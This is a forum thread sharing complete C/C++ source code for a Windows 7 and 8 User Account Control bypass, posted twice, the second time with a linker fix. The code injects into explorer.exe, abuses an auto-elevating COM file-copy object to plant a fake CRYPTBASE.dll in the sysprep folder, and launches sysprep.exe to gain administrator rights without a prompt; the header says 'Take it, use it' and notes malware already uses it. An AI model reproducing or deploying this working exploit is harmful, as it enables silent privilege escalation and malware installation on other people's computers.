[C/C++] UAC Bypass

Nytro · August 9, 2014

[h=1][C/C++] UAC Bypass[/h][h=3]mh4x0f[/h]

/*

UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings

Effectively bypasses the UAC rights, because of:

1. "auto-elevation" for certain processes started from explorer.exe

2. anyone can inject anything to explorer.exe

This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe.

I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already.

Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!).

int UACBypass();

int main()

{

OSVERSIONINFO VersionInfo;

VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&VersionInfo);

// Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest)

if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin())

UACBypass();

// ... your code here ...

}

BOOL IsUserElevatedAdmin()

{

SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;

PSID SecurityIdentifier;

if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier))

return 0;

BOOL IsAdminMember;

if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember))

IsAdminMember = FALSE;

FreeSid(SecurityIdentifier);

return IsAdminMember;

}

*/

// WARNING: This code leaves crytpbase.dll in sysprep directory!

// This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject)

#define _HAS_EXCEPTIONS 0

#include <windows.h>

#include <commctrl.h>

#include <shlobj.h>

#include <psapi.h>

struct InjectArgs

{

// Functions

BOOL (WINAPI *FFreeLibrary)(HMODULE hLibModule);

HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName);

FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);

BOOL (WINAPI *FCloseHandle)(HANDLE);

DWORD (WINAPI *FWaitForSingleObject)(HANDLE,DWORD);

// Static strings

wchar_t szSourceDll[MAX_PATH];

wchar_t szElevDir[MAX_PATH];

wchar_t szElevDll[MAX_PATH];

wchar_t szElevDllFull[MAX_PATH];

wchar_t szElevExeFull[MAX_PATH];

wchar_t szElevArgs[MAX_PATH];

wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker

// some GUIDs

IID pIID_EIFO;

IID pIID_ShellItem2;

IID pIID_Unknown;

// Dll and import strings

wchar_t NameShell32[20];

wchar_t NameOle32[20];

char NameCoInitialize[20];

char NameCoUninitialize[20];

char NameCoGetObject[20];

char NameCoCreateInstance[20];

char NameSHCreateItemFromParsingName[30];

char NameShellExecuteExW[20];

// IMPORTANT: Allocating structures here (so we know where it was allocated)

SHELLEXECUTEINFO shinfo;

BIND_OPTS3 bo;

};

// important: error code here is passed back to original process (1 = success, 0 = failure)

static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args)

{

// don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address)

NTSTATUS Status = 0;

// Use an elevated FileOperation object to copy a file to a protected folder.

// If we're in a process that can do silent COM elevation then we can do this without any prompts.

HMODULE ModuleOle32 = Args->FLoadLibrary(Args->NameOle32);

HMODULE ModuleShell32 = Args->FLoadLibrary(Args->NameShell32);

if (!ModuleOle32 || !ModuleShell32)

return 0;

// Load the non-Kernel32.dll functions that we need.

HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize);

void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize);

HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject);

HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance);

HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName);

BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW);

if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx ||

FCoInitialize(NULL) != S_OK)

return 0;

Args->bo.cbStruct = sizeof(BIND_OPTS3);

Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER;

// For testing other COM objects/methods, start here.

IFileOperation *pFileOp = 0;

IShellItem *pSHISource = 0;

IShellItem *pSHIDestination = 0;

IShellItem *pSHIDelete = 0;

// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.

if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK &&

pFileOp &&

pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|FOFX_REQUIREELEVATION|FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path)

FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK &&

pSHISource &&

FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK &&

pSHIDestination &&

pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK &&

pFileOp->PerformOperations() == S_OK)

{

// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.

// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)

Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO);

Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;

Args->shinfo.lpFile = Args->szElevExeFull;

Args->shinfo.lpParameters = Args->szElevArgs;

Args->shinfo.lpDirectory = Args->szElevDir;

Args->shinfo.nShow = SW_SHOW;

// update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible)

if ((Status = FShellExecuteEx(&Args->shinfo)))

{

Args->FCloseHandle(Args->shinfo.hProcess);

}

// clean-up

if (pSHIDelete) { pSHIDelete->Release(); }

if (pSHIDestination) { pSHIDestination->Release(); }

if (pSHISource) { pSHISource->Release(); }

if (pFileOp) { pFileOp->Release(); }

FCoUninitialize();

Args->FFreeLibrary(ModuleShell32);

Args->FFreeLibrary(ModuleOle32);

return Status;

}

// returns 1 when you can expect everything worked fine!

int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll)

{

NTSTATUS Status = 0;

const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc;

const BYTE * codeEndAdr = (BYTE *)AttemptOperation;

if (codeStartAdr >= codeEndAdr) // ensure we don't copy crap

return 0;

// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't

// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.

// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.

// set up arguments

InjectArgs ia;

memset(&ia, 0, sizeof(ia));

ia.FFreeLibrary = FreeLibrary;

ia.FLoadLibrary = LoadLibrary;

ia.FGetProcAddress = GetProcAddress;

ia.FCloseHandle = CloseHandle;

ia.FWaitForSingleObject = WaitForSingleObject;

wcscpy(ia.NameShell32, L"shell32.dll");

wcscpy(ia.NameOle32, L"ole32.dll");

strcpy(ia.NameCoInitialize, "CoInitialize");

strcpy(ia.NameCoUninitialize, "CoUninitialize");

strcpy(ia.NameCoGetObject, "CoGetObject");

strcpy(ia.NameCoCreateInstance, "CoCreateInstance");

strcpy(ia.NameSHCreateItemFromParsingName, "SHCreateItemFromParsingName");

strcpy(ia.NameShellExecuteExW, "ShellExecuteExW");

wchar_t SystemDirectory[MAX_PATH];

if (!GetSystemDirectory(SystemDirectory, MAX_PATH))

return 0;

wcscpy(ia.szSourceDll, szPathToOurDll);

wcscpy(ia.szElevDir, SystemDirectory);

wcscat(ia.szElevDir, L"\\sysprep");

wcscpy(ia.szElevDll, L"CRYPTBASE.dll");

wcscpy(ia.szElevExeFull, SystemDirectory);

wcscat(ia.szElevExeFull, L"\\sysprep\\sysprep.exe");

wcscpy(ia.szEIFOMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");

memcpy(&ia.pIID_EIFO, &__uuidof(IFileOperation), sizeof(GUID));

memcpy(&ia.pIID_ShellItem2, &__uuidof(IShellItem2), sizeof(GUID));

memcpy(&ia.pIID_Unknown, &__uuidof(IUnknown), sizeof(GUID));

if (!bInject)

{

// Test code without remoting.

// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.

Status = RemoteCodeFunc(&ia);

}

else

{

// Test code with remoting.

// At least as of RC1 build 7100, with the default OS settings, this will run the specified command

// with elevation but without triggering a UAC prompt.

void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE);

if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL))

return 0;

void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ);

if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL))

return 0;

HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL);

if (!hRemoteThread)

return 0;

// intelligent logit to wait for the execution and grabbing the exit code

DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000);

if (dwWaitRes == WAIT_OBJECT_0)

GetExitCodeThread(hRemoteThread, (DWORD *)&Status);

CloseHandle(hRemoteThread);

}

return Status;

}

int UACBypass()

{

// Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?)

DWORD Processes[1024], BytesReturned;

if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned))

return 0;

HANDLE TargetProcess = NULL;

for (unsigned i = 0; i < BytesReturned / 4; i++)

{

if (Processes != 0)

{

TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes);

// Get the process name.

if (TargetProcess)

{

HMODULE hMod;

DWORD cbNeeded;

if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod), &cbNeeded) )

{

wchar_t ProcessName[MAX_PATH];

GetModuleBaseName(TargetProcess, hMod, ProcessName, sizeof(ProcessName)/sizeof(TCHAR) );

if (_wcsicmp(ProcessName, L"explorer.exe") == 0)

break;

}

CloseHandle(TargetProcess);

TargetProcess = NULL;

}

if (!TargetProcess)

return 0;

// Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header

wchar_t SelfFileName[MAX_PATH];

if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH))

{

CloseHandle(TargetProcess);

return 0;

}

wchar_t FakeCrytbase[MAX_PATH];

GetTempPathW(MAX_PATH, FakeCrytbase);

GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase);

if (!CopyFile(SelfFileName, FakeCrytbase, 0))

{

CloseHandle(TargetProcess);

return 0;

}

HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

if (FakeFile == INVALID_HANDLE_VALUE)

{

CloseHandle(TargetProcess);

return 0;

}

DWORD NumberOfBytesRead;

BYTE ImageHeader[4096];

if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL))

{

CloseHandle(TargetProcess);

CloseHandle(FakeFile);

return 0;

}

PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader;

PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew];

// set the dll flag (IMAGE_FILE_DLL)

old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL;

DWORD NumberOfBytesWritten;

if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||

!WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL))

{

CloseHandle(TargetProcess);

CloseHandle(FakeFile);

return 0;

}

CloseHandle(FakeFile);

// Step 3: Using the exploit

NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase);

CloseHandle(TargetProcess);

DeleteFile(FakeCrytbase);

// exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights

if (Status)

ExitProcess(1);

return 1;

}

Sursa: [C/C++] UAC Bypass - Source Codes - rohitab.com - Forums

Ganav · August 9, 2014

Codul de mai sus compileaza doar daca se furnizeaza calea catre psapi.lib. Aceasta se poate realiza adaugand linia:


#pragma comment(lib, "psapi.lib")

Astfel, linker-ul va adauga dependentele respective la compilare. Codul complet se gaseste mai jos:


/*
UAC Bypass for Windows 7 RTM, SP1 / Windows 8 DP, CP all 32-bit for admin with default UAC settings

Effectively bypasses the UAC rights, because of:
1. "auto-elevation" for certain processes started from explorer.exe
2. anyone can inject anything to explorer.exe

This was reported to Microsoft multiple times (months ago) and they are too lame to fix injection to explorer.exe.
I've followed the responsible disclosure guidelines, no need to get angry on me. TDL4 is using the bypass for 64-bit already.

(C) 2012 K. Kleissner, Published under EUPL - Take it, use it.

Implement it as below, be aware the code makes a copy of itself (the "own" exe) and changes it to be a dll (so be aware of the WinMain -> DllMain entry point implications!).
*/   

#define _HAS_EXCEPTIONS 0

#include <windows.h>
#include <commctrl.h>
#include <shlobj.h>
#include <psapi.h>

#pragma comment(lib, "psapi.lib")

int UACBypass(void);
BOOL IsUserElevatedAdmin(void);

int main(void)
{
	OSVERSIONINFO VersionInfo;
	VersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	GetVersionEx(&VersionInfo);

	// Windows 7, 8: Try injecting into auto-elevated process if admin and UAC is on default (prompts 2 times on guest with credential UI so you should add a check for guest)
	if (VersionInfo.dwMajorVersion == 6 && (VersionInfo.dwMinorVersion == 1 || VersionInfo.dwMinorVersion == 2) && !IsUserElevatedAdmin())
		UACBypass();

	// ... your code here ...
}

BOOL IsUserElevatedAdmin(void)
{
	SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
	PSID SecurityIdentifier;
	if (!AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &SecurityIdentifier))
		return 0;

	BOOL IsAdminMember;
	if (!CheckTokenMembership(NULL, SecurityIdentifier, &IsAdminMember))
		IsAdminMember = FALSE;

	FreeSid(SecurityIdentifier);

	return IsAdminMember;
}


// WARNING: This code leaves crytpbase.dll in sysprep directory!
// This is cleaned up and heavily modified code from originally http://www.pretentiousname.com/misc/win7_uac_whitelist2.html (Win7Elevate_Inject)

struct InjectArgs
{
	// Functions
	BOOL    (WINAPI *FFreeLibrary)(HMODULE hLibModule);
	HMODULE (WINAPI *FLoadLibrary)(LPCWSTR lpLibFileName);
	FARPROC (WINAPI *FGetProcAddress)(HMODULE hModule, LPCSTR lpProcName);
	BOOL    (WINAPI *FCloseHandle)(HANDLE);
	DWORD   (WINAPI *FWaitForSingleObject)(HANDLE,DWORD);

	// Static strings
	wchar_t szSourceDll[MAX_PATH];
	wchar_t szElevDir[MAX_PATH];
	wchar_t szElevDll[MAX_PATH];
	wchar_t szElevDllFull[MAX_PATH];
	wchar_t szElevExeFull[MAX_PATH];
	wchar_t szElevArgs[MAX_PATH];
	wchar_t szEIFOMoniker[MAX_PATH]; // szElevatedIFileOperationMoniker

	// some GUIDs
	IID     pIID_EIFO;
	IID     pIID_ShellItem2;
	IID     pIID_Unknown;

	// Dll and import strings
	wchar_t NameShell32[20];
	wchar_t NameOle32[20];
	char    NameCoInitialize[20];
	char    NameCoUninitialize[20];
	char    NameCoGetObject[20];
	char    NameCoCreateInstance[20];
	char    NameSHCreateItemFromParsingName[30];
	char    NameShellExecuteExW[20];

	// IMPORTANT: Allocating structures here (so we know where it was allocated)
	SHELLEXECUTEINFO shinfo;
	BIND_OPTS3 bo;
};


// important: error code here is passed back to original process (1 = success, 0 = failure)

static DWORD WINAPI RemoteCodeFunc(InjectArgs * Args)
{
	// don't rely on any static data here as this function is copied alone into remote process! (we assume at least that kernel32 is at same address)
	NTSTATUS Status = 0;

	// Use an elevated FileOperation object to copy a file to a protected folder.
	// If we're in a process that can do silent COM elevation then we can do this without any prompts.

	HMODULE ModuleOle32    = Args->FLoadLibrary(Args->NameOle32);
	HMODULE ModuleShell32  = Args->FLoadLibrary(Args->NameShell32);

	if (!ModuleOle32 || !ModuleShell32)
		return 0;

	// Load the non-Kernel32.dll functions that we need.
	HRESULT (WINAPI * FCoInitialize)(LPVOID pvReserved) = (HRESULT (WINAPI * )(LPVOID pvReserved))Args->FGetProcAddress(ModuleOle32, Args->NameCoInitialize);
	void (WINAPI * FCoUninitialize)(void) = (void (WINAPI * )(void))Args->FGetProcAddress(ModuleOle32, Args->NameCoUninitialize);
	HRESULT (WINAPI * FCoGetObject)(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(LPCWSTR pszName, BIND_OPTS *pBindOptions, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoGetObject);
	HRESULT (WINAPI * FCoCreateInstance)(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv) = (HRESULT (WINAPI * )(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, void ** ppv))Args->FGetProcAddress(ModuleOle32, Args->NameCoCreateInstance);
	HRESULT (WINAPI * FSHCreateItemFromParsingName)(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv) = (HRESULT (WINAPI * )(PCWSTR pszPath, IBindCtx *pbc, REFIID riid, void **ppv))Args->FGetProcAddress(ModuleShell32, Args->NameSHCreateItemFromParsingName);
	BOOL (WINAPI * FShellExecuteEx)(LPSHELLEXECUTEINFOW lpExecInfo) = (BOOL (WINAPI * )(LPSHELLEXECUTEINFOW lpExecInfo))Args->FGetProcAddress(ModuleShell32, Args->NameShellExecuteExW);

	if (!FCoInitialize || !FCoUninitialize || !FCoGetObject || !FCoCreateInstance || !FSHCreateItemFromParsingName || !FShellExecuteEx ||
		FCoInitialize(NULL) != S_OK)
		return 0;

	Args->bo.cbStruct = sizeof(BIND_OPTS3);
	Args->bo.dwClassContext = CLSCTX_LOCAL_SERVER;

	// For testing other COM objects/methods, start here.
	IFileOperation *pFileOp = 0;
	IShellItem *pSHISource = 0;
	IShellItem *pSHIDestination = 0;
	IShellItem *pSHIDelete = 0;

	// This is a completely standard call to IFileOperation, if you ignore all the pArgs/func-pointer indirection.
	if (FCoGetObject(Args->szEIFOMoniker, &Args->bo, Args->pIID_EIFO, reinterpret_cast< void ** >(&pFileOp)) == S_OK &&
		pFileOp &&
		pFileOp->SetOperationFlags(FOF_NOCONFIRMATION|FOF_SILENT|FOFX_SHOWELEVATIONPROMPT|FOFX_NOCOPYHOOKS|/*FOFX_REQUIRE_ELEVATION|*/FOF_NOERRORUI) == S_OK && // FOF_NOERRORUI is important here to not show error messages, copying fails on guest (takes wrong path)
		FSHCreateItemFromParsingName( Args->szSourceDll, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHISource)) == S_OK &&
		pSHISource &&
		FSHCreateItemFromParsingName( Args->szElevDir, NULL, Args->pIID_ShellItem2, reinterpret_cast< void ** >(&pSHIDestination)) == S_OK &&
		pSHIDestination &&
		pFileOp->CopyItem(pSHISource, pSHIDestination, Args->szElevDll, NULL) == S_OK &&
		pFileOp->PerformOperations() == S_OK)
	{
		// Use ShellExecuteEx to launch the "part 2" target process. Again, a completely standard API call.
		// (Note: Don't use CreateProcess as it seems not to do the auto-elevation stuff.)

		Args->shinfo.cbSize = sizeof(SHELLEXECUTEINFO);
		Args->shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
		Args->shinfo.lpFile = Args->szElevExeFull;
		Args->shinfo.lpParameters = Args->szElevArgs;
		Args->shinfo.lpDirectory = Args->szElevDir;
		Args->shinfo.nShow = SW_SHOW;

		// update: we assume the cryptbase.dll deletes itself (no waiting for syspreps execution although it would be possible)
		if ((Status = FShellExecuteEx(&Args->shinfo)))
		{
			Args->FCloseHandle(Args->shinfo.hProcess);
		}
	}

	// clean-up
	if (pSHIDelete)      { pSHIDelete->Release();      }
	if (pSHIDestination) { pSHIDestination->Release(); }
	if (pSHISource)      { pSHISource->Release();      }
	if (pFileOp)         { pFileOp->Release();         }

	FCoUninitialize();
	Args->FFreeLibrary(ModuleShell32);
	Args->FFreeLibrary(ModuleOle32);

	return Status;
}


// returns 1 when you can expect everything worked fine!

int AttemptOperation(bool bInject, HANDLE TargetProcess, const wchar_t *szPathToOurDll)
{
	NTSTATUS Status = 0;

	const BYTE * codeStartAdr = (BYTE *)RemoteCodeFunc;
	const BYTE * codeEndAdr   = (BYTE *)AttemptOperation;

	if (codeStartAdr >= codeEndAdr)     // ensure we don't copy crap
		return 0;

	// Here we define the target process and DLL for "part 2." This is an auto/silent-elevating process which isn't
	// directly below System32 and which loads a DLL which is directly below System32 but isn't on the OS's "Known DLLs" list.
	// If we copy our own DLL with the same name to the exe's folder then the exe will load our DLL instead of the real one.

	// set up arguments
	InjectArgs ia;
	memset(&ia, 0, sizeof(ia));

	ia.FFreeLibrary         = FreeLibrary;
	ia.FLoadLibrary         = LoadLibrary;
	ia.FGetProcAddress      = GetProcAddress;
	ia.FCloseHandle         = CloseHandle;
	ia.FWaitForSingleObject = WaitForSingleObject;

	wcscpy(ia.NameShell32,                      L"shell32.dll");
	wcscpy(ia.NameOle32,                        L"ole32.dll");
	strcpy(ia.NameCoInitialize,                 "CoInitialize");
	strcpy(ia.NameCoUninitialize,               "CoUninitialize");
	strcpy(ia.NameCoGetObject,                  "CoGetObject");
	strcpy(ia.NameCoCreateInstance,             "CoCreateInstance");
	strcpy(ia.NameSHCreateItemFromParsingName,  "SHCreateItemFromParsingName");
	strcpy(ia.NameShellExecuteExW,              "ShellExecuteExW");

	wchar_t SystemDirectory[MAX_PATH];
	if (!GetSystemDirectory(SystemDirectory, MAX_PATH))
		return 0;

	wcscpy(ia.szSourceDll,      szPathToOurDll);
	wcscpy(ia.szElevDir,        SystemDirectory);
	wcscat(ia.szElevDir,        L"\\sysprep");
	wcscpy(ia.szElevDll,        L"CRYPTBASE.dll");
	wcscpy(ia.szElevExeFull,    SystemDirectory);
	wcscat(ia.szElevExeFull,    L"\\sysprep\\sysprep.exe");
	wcscpy(ia.szEIFOMoniker,    L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");

	memcpy(&ia.pIID_EIFO,        &__uuidof(IFileOperation), sizeof(GUID));
	memcpy(&ia.pIID_ShellItem2,  &__uuidof(IShellItem2), sizeof(GUID));
	memcpy(&ia.pIID_Unknown,     &__uuidof(IUnknown), sizeof(GUID));

	if (!bInject)
	{
		// Test code without remoting.
		// This should result in a UAC prompt, if UAC is on at all and we haven't been launched as admin.
		Status = RemoteCodeFunc(&ia);
	}
	else
	{
		// Test code with remoting.
		// At least as of RC1 build 7100, with the default OS settings, this will run the specified command
		// with elevation but without triggering a UAC prompt.

		void * RemoteArgs = VirtualAllocEx(TargetProcess, 0, sizeof(ia), MEM_COMMIT, PAGE_READWRITE);
		if (!RemoteArgs || !WriteProcessMemory(TargetProcess, RemoteArgs, &ia, sizeof(ia), NULL))
			return 0;

		void * RemoteCode = VirtualAllocEx(TargetProcess, 0, codeEndAdr - codeStartAdr, MEM_COMMIT, PAGE_EXECUTE_READ);
		if (!RemoteCode || !WriteProcessMemory(TargetProcess, RemoteCode, RemoteCodeFunc, codeEndAdr - codeStartAdr, NULL))
			return 0;

		HANDLE hRemoteThread = CreateRemoteThread(TargetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RemoteCode, RemoteArgs, 0, NULL);
		if (!hRemoteThread)
			return 0;

		// intelligent logit to wait for the execution and grabbing the exit code
		DWORD dwWaitRes = WaitForSingleObject(hRemoteThread, 40000);

		if (dwWaitRes == WAIT_OBJECT_0)
			GetExitCodeThread(hRemoteThread, (DWORD *)&Status);

		CloseHandle(hRemoteThread);
	}

	return Status;
}

int UACBypass(void)
{
	// Step 1: find explorer.exe process we can inject to (to-do: maybe using some other process?)
	DWORD Processes[1024], BytesReturned;

	if (!EnumProcesses(Processes, sizeof(Processes), &BytesReturned))
		return 0;

	HANDLE TargetProcess = NULL;

	for (unsigned i = 0; i < BytesReturned / 4; i++)
	{
		if (Processes[i] != 0)
		{
			TargetProcess = OpenProcess(/*PROCESS_QUERY_INFORMATION | PROCESS_VM_READ*/PROCESS_ALL_ACCESS, FALSE, Processes[i]);

			// Get the process name.
			if (TargetProcess)
			{
				HMODULE hMod;
				DWORD cbNeeded;

				if (EnumProcessModules(TargetProcess, &hMod, sizeof(hMod),  &cbNeeded) )
				{
					wchar_t ProcessName[MAX_PATH];
					GetModuleBaseName(TargetProcess, hMod, ProcessName,   sizeof(ProcessName)/sizeof(TCHAR) );

					if (_wcsicmp(ProcessName, L"explorer.exe") == 0)
						break;
				}

				CloseHandle(TargetProcess);
				TargetProcess = NULL;
			}
		}
	}

	if (!TargetProcess)
		return 0;

	// Step 2: Creating fake cryptbase.dll that is this exe with the IMAGE_FILE_DLL flag set in PE header
	wchar_t SelfFileName[MAX_PATH];
	if (!GetModuleFileNameW(NULL, SelfFileName, MAX_PATH))
	{
		CloseHandle(TargetProcess);
		return 0;
	}

	wchar_t FakeCrytbase[MAX_PATH];
	GetTempPathW(MAX_PATH, FakeCrytbase);
	GetTempFileNameW(FakeCrytbase, L"tmp", 0, FakeCrytbase);
	if (!CopyFile(SelfFileName, FakeCrytbase, 0))
	{
		CloseHandle(TargetProcess);
		return 0;
	}

	HANDLE FakeFile = CreateFileW(FakeCrytbase, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (FakeFile == INVALID_HANDLE_VALUE)
	{
		CloseHandle(TargetProcess);
		return 0;
	}

	DWORD NumberOfBytesRead;
	BYTE ImageHeader[4096];
	if (!ReadFile(FakeFile, ImageHeader, 4096, &NumberOfBytesRead, NULL))
	{
		CloseHandle(TargetProcess);
		CloseHandle(FakeFile);
		return 0;
	}

	PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)ImageHeader;
	PIMAGE_NT_HEADERS old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(ImageHeader))[dos_header->e_lfanew];

	// set the dll flag (IMAGE_FILE_DLL)
	old_header->FileHeader.Characteristics |= IMAGE_FILE_DLL;

	DWORD NumberOfBytesWritten;
	if (SetFilePointer(FakeFile, 0, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER ||
		!WriteFile(FakeFile, ImageHeader, 4096, &NumberOfBytesWritten, NULL))
	{
		CloseHandle(TargetProcess);
		CloseHandle(FakeFile);
		return 0;
	}

	CloseHandle(FakeFile);

	// Step 3: Using the exploit
	NTSTATUS Status = AttemptOperation(1, TargetProcess, FakeCrytbase);

	CloseHandle(TargetProcess);
	DeleteFile(FakeCrytbase);

	// exit if we can assume that the elevation worked correctly, and this executable was started with auto-elevated rights
	if (Status)
		ExitProcess(1);

	return 1;
}

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[C/C++] UAC Bypass

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